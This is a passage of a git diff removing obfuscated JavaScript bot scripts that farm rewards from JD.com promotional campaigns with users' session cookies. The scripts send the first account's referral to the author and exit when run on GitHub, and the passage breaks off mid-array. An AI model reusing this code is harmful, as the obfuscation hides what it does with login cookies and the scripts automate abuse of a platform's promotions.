_0x598392[_0x44c0('421')](_0x5335fa,_0x497022);},'mNbFk':_0x598392[_0x44c0('415')]};try{if(_0x598392[_0x44c0('422')](_0x598392[_0x44c0('423')],_0x598392[_0x44c0('424')])){return{'url':_0x44c0('409')+url,'body':_0x34beaf,'headers':{'Accept':_0x18601a[_0x44c0('425')],'Accept-Language':_0x18601a[_0x44c0('426')],'Accept-Encoding':_0x18601a[_0x44c0('427')],'Connection':_0x18601a[_0x44c0('428')],'Content-Type':_0x18601a[_0x44c0('429')],'Cookie':''+activityCookie+($[_0x44c0('6b')]&&_0x18601a[_0x44c0('42a')](_0x18601a[_0x44c0('42b')](_0x18601a[_0x44c0('42c')],$[_0x44c0('6b')]),';')||'')+lz_jdpin_token,'Origin':_0x18601a[_0x44c0('42d')],'X-Requested-With':_0x18601a[_0x44c0('42e')],'Referer':_0x44c0('382')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'User-Agent':$['UA']}};}else{if(_0x5c0131){if(_0x598392[_0x44c0('422')](_0x598392[_0x44c0('42f')],_0x598392[_0x44c0('42f')])){if(_0x582dde[_0x44c0('45')]&&_0x598392[_0x44c0('430')](_0x582dde[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x598392[_0x44c0('415')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+JSON[_0x44c0('431')](_0x5c0131));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('432'));}else{_0x10c07a[_0x44c0('433')](_0x3d12dd);}}else{res=$[_0x44c0('12b')](_0x389bed);if(_0x598392[_0x44c0('430')](typeof res,_0x598392[_0x44c0('434')])&&res[_0x44c0('12d')]&&_0x598392[_0x44c0('422')](res[_0x44c0('12d')],!![])){if(_0x598392[_0x44c0('422')](_0x598392[_0x44c0('435')],_0x598392[_0x44c0('435')])){if(_0x598392[_0x44c0('436')](typeof res[_0x44c0('11c')][_0x44c0('74')],_0x598392[_0x44c0('437')]))$[_0x44c0('74')]=res[_0x44c0('11c')][_0x44c0('74')];if(_0x598392[_0x44c0('438')](typeof res[_0x44c0('11c')][_0x44c0('77')],_0x598392[_0x44c0('437')]))$[_0x44c0('77')]=res[_0x44c0('11c')][_0x44c0('77')];}else{if(_0x582dde[_0x44c0('45')]&&_0x18601a[_0x44c0('439')](_0x582dde[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x18601a[_0x44c0('43a')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+JSON[_0x44c0('431')](_0x5c0131));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('432'));}}else if(_0x598392[_0x44c0('43b')](typeof res,_0x598392[_0x44c0('434')])&&res[_0x44c0('103')]){console[_0x44c0('7')](_0x44c0('43c')+(res[_0x44c0('103')]||''));}else{console[_0x44c0('7')](_0x389bed);}}}}catch(_0xa86993){if(_0x598392[_0x44c0('43d')](_0x598392[_0x44c0('43e')],_0x598392[_0x44c0('43f')])){$[_0x44c0('4d')](_0xa86993,_0x582dde);}else{console[_0x44c0('7')](_0x10c07a[_0x44c0('440')]);$[_0x44c0('15')]=!![];}}finally{if(_0x598392[_0x44c0('441')](_0x598392[_0x44c0('442')],_0x598392[_0x44c0('443')])){_0x598392[_0x44c0('444')](_0x3d12dd);}else{console[_0x44c0('7')](e);}}});});}function getToken(){var _0x440dc2={'utBXN':function(_0x1f9812,_0x16be17){return _0x1f9812==_0x16be17;},'pmyIh':_0x44c0('108'),'ZwEus':function(_0x5cfdea,_0x352c89){return _0x5cfdea!=_0x352c89;},'WEoiu':_0x44c0('53'),'ECAoa':function(_0xd228c5,_0xb6b032){return _0xd228c5!==_0xb6b032;},'HpWAf':_0x44c0('445'),'MbtDV':_0x44c0('446'),'tAXhr':function(_0x4fc84e){return _0x4fc84e();},'DcUfT':_0x44c0('447'),'WIYsE':_0x44c0('159'),'kLYRt':_0x44c0('157')};return new Promise(_0xcf6f96=>{$[_0x44c0('122')]({'url':_0x44c0('448'),'body':_0x440dc2[_0x44c0('449')],'headers':{'Content-Type':_0x440dc2[_0x44c0('44a')],'Cookie':cookie,'Host':_0x440dc2[_0x44c0('44b')],'User-Agent':_0x44c0('44c')}},async(_0x215954,_0x44dacc,_0xe42fed)=>{try{if(_0x215954){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x215954));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('215'));}else{let _0xdc3dd4=$[_0x44c0('12b')](_0xe42fed);if(_0x440dc2[_0x44c0('44d')](typeof _0xdc3dd4,_0x440dc2[_0x44c0('44e')])&&_0x440dc2[_0x44c0('44d')](_0xdc3dd4[_0x44c0('138')],0x0)){if(_0x440dc2[_0x44c0('44f')](typeof _0xdc3dd4[_0x44c0('13a')],_0x440dc2[_0x44c0('450')]))$[_0x44c0('6a')]=_0xdc3dd4[_0x44c0('13a')];}else if(_0x440dc2[_0x44c0('44d')](typeof _0xdc3dd4,_0x440dc2[_0x44c0('44e')])&&_0xdc3dd4[_0x44c0('13d')]){if(_0x440dc2[_0x44c0('451')](_0x440dc2[_0x44c0('452')],_0x440dc2[_0x44c0('453')])){console[_0x44c0('7')](_0x44c0('13e')+(_0xdc3dd4[_0x44c0('13d')]||''));}else{$[_0x44c0('de')]=_0xdc3dd4[_0x44c0('11c')][_0x44c0('37')];$[_0x44c0('7')](_0x44c0('17d')+_0xdc3dd4[_0x44c0('11c')][_0x44c0('37')]+'个');}}else{console[_0x44c0('7')](_0xe42fed);}}}catch(_0x563219){$[_0x44c0('4d')](_0x563219,_0x44dacc);}finally{_0x440dc2[_0x44c0('454')](_0xcf6f96);}});});}function getCk(){var _0x5f4ace={'UHjiK':_0x44c0('16'),'KxpkL':_0x44c0('55'),'hCmjD':function(_0x37a33e,_0x2ada3f){return _0x37a33e!==_0x2ada3f;},'buLrd':_0x44c0('455'),'IhTDU':function(_0x491864,_0x308f8d){return _0x491864==_0x308f8d;},'aFxgD':_0x44c0('17'),'VFAwi':_0x44c0('366'),'Mtdhc':_0x44c0('367'),'bwKSQ':_0x44c0('368'),'BbUrd':function(_0x56e3d1,_0x3c4642){return _0x56e3d1!=_0x3c4642;},'WHEyi':_0x44c0('108'),'nPxkL':function(_0x23dc9f,_0x9f05f6){return _0x23dc9f!==_0x9f05f6;},'SLKeu':_0x44c0('456'),'BiwCO':function(_0x5741af,_0x410762){return _0x5741af>_0x410762;},'eKpDH':_0x44c0('26e'),'EjTyG':function(_0x941365,_0x6e5a27){return _0x941365+_0x6e5a27;},'fROuB':function(_0x253c50,_0x23a012){return _0x253c50>_0x23a012;},'BMBCM':_0x44c0('26f'),'GLjjW':function(_0x1a3269,_0x221ad0){return _0x1a3269&&_0x221ad0;},'FRhKi':function(_0x34feac,_0x379339){return _0x34feac===_0x379339;},'DhjOx':_0x44c0('457'),'WbOhi':_0x44c0('458'),'qyQBa':_0x44c0('459'),'lCzwV':function(_0x62644a){return _0x62644a();}};return new Promise(_0x192245=>{let _0x4811c4={'url':_0x44c0('382')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x44c0('259')](_0x4811c4,async(_0x1580dd,_0xc8cef4,_0x375245)=>{var _0x32235b={'mKeGd':_0x5f4ace[_0x44c0('45a')],'jsuRX':_0x5f4ace[_0x44c0('45b')]};try{if(_0x5f4ace[_0x44c0('45c')](_0x5f4ace[_0x44c0('45d')],_0x5f4ace[_0x44c0('45d')])){console[_0x44c0('7')](e);$[_0x44c0('21')]($[_0x44c0('22')],'',_0x32235b[_0x44c0('45e')]);return[];}else{if(_0x1580dd){if(_0xc8cef4[_0x44c0('45')]&&_0x5f4ace[_0x44c0('45f')](_0xc8cef4[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x5f4ace[_0x44c0('460')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1580dd));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('23e'));}else{let _0x431b66='';let _0x24aa1f='';let _0x36102d=_0xc8cef4[_0x5f4ace[_0x44c0('461')]][_0x5f4ace[_0x44c0('462')]]||_0xc8cef4[_0x5f4ace[_0x44c0('461')]][_0x5f4ace[_0x44c0('463')]]||'';let _0x5149ed='';if(_0x36102d){if(_0x5f4ace[_0x44c0('464')](typeof _0x36102d,_0x5f4ace[_0x44c0('465')])){if(_0x5f4ace[_0x44c0('466')](_0x5f4ace[_0x44c0('467')],_0x5f4ace[_0x44c0('467')])){console[_0x44c0('7')](_0x32235b[_0x44c0('468')]);return;}else{_0x5149ed=_0x36102d[_0x44c0('11b')](',');}}else _0x5149ed=_0x36102d;for(let _0x11b940 of _0x5149ed){let _0x26fea3=_0x11b940[_0x44c0('11b')](';')[0x0][_0x44c0('355')]();if(_0x26fea3[_0x44c0('11b')]('=')[0x1]){if(_0x5f4ace[_0x44c0('469')](_0x26fea3[_0x44c0('28b')](_0x5f4ace[_0x44c0('46a')]),-0x1))_0x431b66=_0x5f4ace[_0x44c0('46b')](_0x26fea3[_0x44c0('142')](/ /g,''),';');if(_0x5f4ace[_0x44c0('46c')](_0x26fea3[_0x44c0('28b')](_0x5f4ace[_0x44c0('46d')]),-0x1))_0x24aa1f=_0x5f4ace[_0x44c0('46b')](_0x26fea3[_0x44c0('142')](/ /g,''),';');}}}if(_0x5f4ace[_0x44c0('46e')](_0x431b66,_0x24aa1f))activityCookie=_0x431b66+'\x20'+_0x24aa1f;}}}catch(_0x4dfb22){if(_0x5f4ace[_0x44c0('46f')](_0x5f4ace[_0x44c0('470')],_0x5f4ace[_0x44c0('470')])){$[_0x44c0('4d')](_0x4dfb22,_0xc8cef4);}else{console[_0x44c0('7')](''+$[_0x44c0('48')](_0x1580dd));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}}finally{if(_0x5f4ace[_0x44c0('46f')](_0x5f4ace[_0x44c0('471')],_0x5f4ace[_0x44c0('472')])){console[_0x44c0('7')](''+(res[_0x44c0('13d')]||''));}else{_0x5f4ace[_0x44c0('473')](_0x192245);}}});});}function taskPostUrl(_0x1687a2,_0x483126){var _0x56882={'ZOPaM':_0x44c0('404'),'OXYRx':_0x44c0('405'),'HUTVH':_0x44c0('406'),'zprTg':_0x44c0('407'),'Gwimv':_0x44c0('159'),'RcZoQ':function(_0x6cfca2,_0x313637){return _0x6cfca2+_0x313637;},'EmVVd':function(_0xf60319,_0x369334){return _0xf60319+_0x369334;},'jtmpF':_0x44c0('408'),'dpwHF':_0x44c0('409'),'grSeZ':_0x44c0('40a')};return{'url':_0x44c0('409')+_0x1687a2,'body':_0x483126,'headers':{'Accept':_0x56882[_0x44c0('474')],'Accept-Language':_0x56882[_0x44c0('475')],'Accept-Encoding':_0x56882[_0x44c0('476')],'Connection':_0x56882[_0x44c0('477')],'Content-Type':_0x56882[_0x44c0('478')],'Cookie':''+activityCookie+($[_0x44c0('6b')]&&_0x56882[_0x44c0('479')](_0x56882[_0x44c0('47a')](_0x56882[_0x44c0('47b')],$[_0x44c0('6b')]),';')||'')+lz_jdpin_token,'Origin':_0x56882[_0x44c0('47c')],'X-Requested-With':_0x56882[_0x44c0('47d')],'Referer':_0x44c0('382')+$[_0x44c0('32')]+_0x44c0('35')+$[_0x44c0('30')],'User-Agent':$['UA']}};}function getUA(){var _0x565519={'VvAyK':function(_0x3486f,_0x284feb){return _0x3486f(_0x284feb);}};$['UA']=_0x44c0('47e')+_0x565519[_0x44c0('47f')](randomString,0x28)+_0x44c0('480');}function randomString(_0x43c9c6){var _0x5354e2={'DDXHg':function(_0x469c66,_0x23a7bc){return _0x469c66||_0x23a7bc;},'eqhmO':_0x44c0('50'),'xnGBl':function(_0x169cf8,_0x1af9a5){return _0x169cf8<_0x1af9a5;},'eCUSI':function(_0x528ac7,_0x709e05){return _0x528ac7*_0x709e05;}};_0x43c9c6=_0x5354e2[_0x44c0('481')](_0x43c9c6,0x20);let _0xf65425=_0x5354e2[_0x44c0('482')],_0x173f33=_0xf65425[_0x44c0('37')],_0x1ac507='';for(i=0x0;_0x5354e2[_0x44c0('483')](i,_0x43c9c6);i++)_0x1ac507+=_0xf65425[_0x44c0('92')](Math[_0x44c0('93')](_0x5354e2[_0x44c0('484')](Math[_0x44c0('85')](),_0x173f33)));return _0x1ac507;}function jsonParse(_0x172531){var _0xbe31b0={'AfTto':function(_0x15ab1a,_0x11162e){return _0x15ab1a>_0x11162e;},'OyGMD':_0x44c0('26e'),'pOLBz':function(_0x1161a4,_0x29a3e3){return _0x1161a4+_0x29a3e3;},'tteqJ':_0x44c0('26f'),'Suhaj':function(_0x7ed3d4,_0x2c1be0){return _0x7ed3d4+_0x2c1be0;},'ssGsc':function(_0x46d32b,_0x5793df){return _0x46d32b==_0x5793df;},'ojwVe':_0x44c0('323'),'CWXWB':function(_0x4e4dfd,_0x40c3c8){return _0x4e4dfd===_0x40c3c8;},'yUfBW':_0x44c0('485'),'xlbkz':_0x44c0('16')};if(_0xbe31b0[_0x44c0('486')](typeof _0x172531,_0xbe31b0[_0x44c0('487')])){try{return JSON[_0x44c0('2a')](_0x172531);}catch(_0x3eaa60){if(_0xbe31b0[_0x44c0('488')](_0xbe31b0[_0x44c0('489')],_0xbe31b0[_0x44c0('489')])){console[_0x44c0('7')](_0x3eaa60);$[_0x44c0('21')]($[_0x44c0('22')],'',_0xbe31b0[_0x44c0('48a')]);return[];}else{let _0x3afb26=ck[_0x44c0('11b')](';')[0x0][_0x44c0('355')]();if(_0x3afb26[_0x44c0('11b')]('=')[0x1]){if(_0xbe31b0[_0x44c0('48b')](_0x3afb26[_0x44c0('28b')](_0xbe31b0[_0x44c0('48c')]),-0x1))LZ_TOKEN_KEY=_0xbe31b0[_0x44c0('48d')](_0x3afb26[_0x44c0('142')](/ /g,''),';');if(_0xbe31b0[_0x44c0('48b')](_0x3afb26[_0x44c0('28b')](_0xbe31b0[_0x44c0('48e')]),-0x1))LZ_TOKEN_VALUE=_0xbe31b0[_0x44c0('48f')](_0x3afb26[_0x44c0('142')](/ /g,''),';');}}}}};_0xodq='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard31.js b/backUp/gua_opencard31.js deleted file mode 100644 index 8c03c4e..0000000 --- a/backUp/gua_opencard31.js +++ /dev/null @@ -1,56 +0,0 @@ -/* -9.13~9.23 福满中秋 [gua_opencard31.js] -新增开卡脚本 - -邀请一人20豆 -开9张卡(1组) 抽奖可能获得50京豆/每组 -关注10京豆 -加购只有游戏机会 | 默认不加购 如需要添加[guaopencard_addSku31]为"true" -博饼 100积分/次 | 默认不博饼 如需要添加[guaopencard_draw31]为"3" -以上都有可能是空气💨 -———————————————— -100积分抽1次 -填写要博饼的次数 不足已自身次数为准 -guaopencard_draw31="3" -填非数字会全都抽奖 - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard31="true" -———————————————— -入口:[9.13~9.23 福满中秋 (https://lzdz1-isv.isvjcloud.com/dingzhi/midautumn/jointactivity/activity?activityId=dz2109100011150101&shareUuid=099527bfb2fb423bb7c5658c63b496a9)] - -============Quantumultx=============== -[task_local] -#9.13~9.23 福满中秋 -44 2 13-23 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js, tag=9.13~9.23 福满中秋, enabled=true - -================Loon============== -[Script] -cron "44 2 13-23 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js, tag=9.13~9.23 福满中秋 - -===============Surge================= -9.13~9.23 福满中秋 = type=cron,cronexp="44 2 13-23 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js - -============小火箭========= -9.13~9.23 福满中秋 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard31.js, cronexpr="44 2 13-23 9 *", timeout=3600, enable=true -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" -let guaopencard_draw = "0" - -const $ = new Env('9.13~9.23 福满中秋'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - - -var _0xodQ='jsjiami.com.v6',_0x33a4=[_0xodQ,'c214YmM=','bW1ubkc=','Vk5uV2w=','aU9WeXg=','TGJHcFI=','WUN1U0w=','RFpWRlA=','T3dmaUc=','JnBpbkltZz0=','Jm5pY2s9','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','d0JKeG0=','cU9UdWE=','RVJVUHg=','REpMdEU=','Z3JSRVE=','T01tamg=','dk5PQm4=','dHZRa2I=','d2NhVmo=','cmZWd1Y=','WGlNdE8=','U3Rzeng=','U2NUQko=','Z1lhVUk=','cER2V3k=','bHZQQ0E=','SlFla3k=','dkpDSE8=','RE1lWks=','YXdNdGE=','bEFrQXM=','TldQdkU=','bU1WWms=','IGdldFVzZXJJbmZvIEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','T255eEg=','SXZjU0w=','ZVBZSVc=','VGZWRW0=','YVFkTGs=','V0tXamk=','QmhDVXM=','SlppVEc=','U3FieWY=','WkxjUnc=','WnptTGI=','SExFTm0=','eGt3Tk0=','L3d4QWN0aW9uQ29tbW9uL2dldFVzZXJJbmZv','c3ZLV0I=','Z3NoT0Q=','SU13dnQ=','anFQaHM=','aFJ0ZFU=','UmdFVUY=','bUlZbnY=','R2NKYmQ=','SlpIZ3Y=','Q2lGZ2k=','eGZrdlE=','Z2tGVnA=','QWpaSVA=','RG9zWFo=','clV0bXA=','VGlJQ04=','UlZwVUI=','UWZsSXU=','RndOdlI=','bFNleng=','cGluPQ==','WEZYVEo=','ZFpRblc=','Y2t0SWs=','aVNYaGw=','WmljY0E=','dXlVdFU=','cldZd3g=','Q21xT28=','R1Z2ZmE=','R3JaSWs=','ZGVWdnk=','d2hqQ2w=','WnZURmY=','dEdMVGY=','TlN6aE8=','eXVuTWlkSW1hZ2VVcmw=','cEdEbFA=','bXNhYWg=','Z1FwRmI=','bnhLVkw=','YWNUUlM=','QkhXVWQ=','Z0xDUVY=','aGpyZ0c=','WGVvcno=','bnltdHc=','VERpZ0M=','ZXlwZVA=','WlVmQmo=','Z2V0VXNlckluZm8g','UlZzano=','c3RyaW5n','Q2dkRVY=','TWRKZUM=','Znd0Wmc=','UGZvQm8=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','SnF6YlU=','bXJPc0Q=','dmFCWEY=','Z1p0VlM=','elNtc2I=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','UEtPS3c=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL21pZGF1dHVtbi9qb2ludGFjdGl2aXR5L2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','dEtPWW0=','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','dWpxcm8=','REFWZ3A=','eFlMYm4=','blpxa04=','VUNyUkk=','U2FZU2Q=','Rm9pZlQ=','YXlHZUM=','WFpqTnU=','elZxUks=','Z1NkRlU=','dmdGWk8=','QnVNWkw=','enJBUWk=','SGV6Tm4=','S3ZId20=','VGt3bVE=','ZlBpaXU=','UHBndUg=','T2JMcG0=','RWtrREU=','WmxYbkQ=','TEZzbXI=','Z2d1YUc=','Z1p2ckU=','clRnR3k=','VUlrdVE=','Y0NFdkg=','RUlmSkE=','empqUmM=','RkttTG4=','dUp3RkY=','RE5jRGg=','cWl0ZXo=','VXZ4aHI=','VE9PRFY=','U2VLSmQ=','anJGclo=','R2Rva1o=','RHdyZEY=','ZFlYRFI=','VVllQlo=','ZlFUV28=','U1hmZ0o=','Y0diUm0=','QWFIaHg=','WFZlbnM=','RmNacHM=','RGtwVkQ=','bmh2T2o=','cHhYQU8=','elFSeHA=','VVdJamU=','T3hRYUk=','L2N1c3RvbWVyL2dldE15UGluZw==','QmpiYWM=','ald2Vkw=','UE1CVnY=','SHZDTWQ=','VmNEY00=','UEd2dFk=','U2d5cUQ=','UE10dno=','Q0VzUlo=','UGdaRVc=','c29HV0E=','RUlpZmo=','Z1R5cGg=','cmV3Qkk=','WXRVZk4=','ZFl3c08=','ekpSR0c=','aVlBWEM=','clR2YnI=','Vk9oSnk=','R1ZXVUk=','SUVkaWE=','aHdVbkU=','Y0lWRUg=','VnZCUW8=','SXNHZXc=','dnR4dHc=','RmxuSlc=','THZzdlE=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','Tmtia3c=','QlVIaFk=','Znl4aWo=','Sk95Yms=','bWxSamk=','c25VeVk=','ZVpGS0Y=','dE1Fcm0=','Qm9kdGU=','ZlBsbmw=','RWxnUVI=','bHdHblg=','aHJsQ3g=','VXNWeHk=','Ym9XUUQ=','ekJLQ1E=','aEt2WXQ=','SXlQWVU=','cFFCQmI=','VXhNYm0=','QmxHbW0=','QnFjWGM=','WklRdGw=','RlJDUU0=','TERoTEg=','eVB6dGw=','dmxESkY=','U2dvSVQ=','c2VjcmV0UGlu','WktLTVU=','WWx4dkU=','cm1MR08=','T3dIUlU=','Z2V0TXlQaW5nIA==','Q0dzeFg=','d2dYV2o=','Tk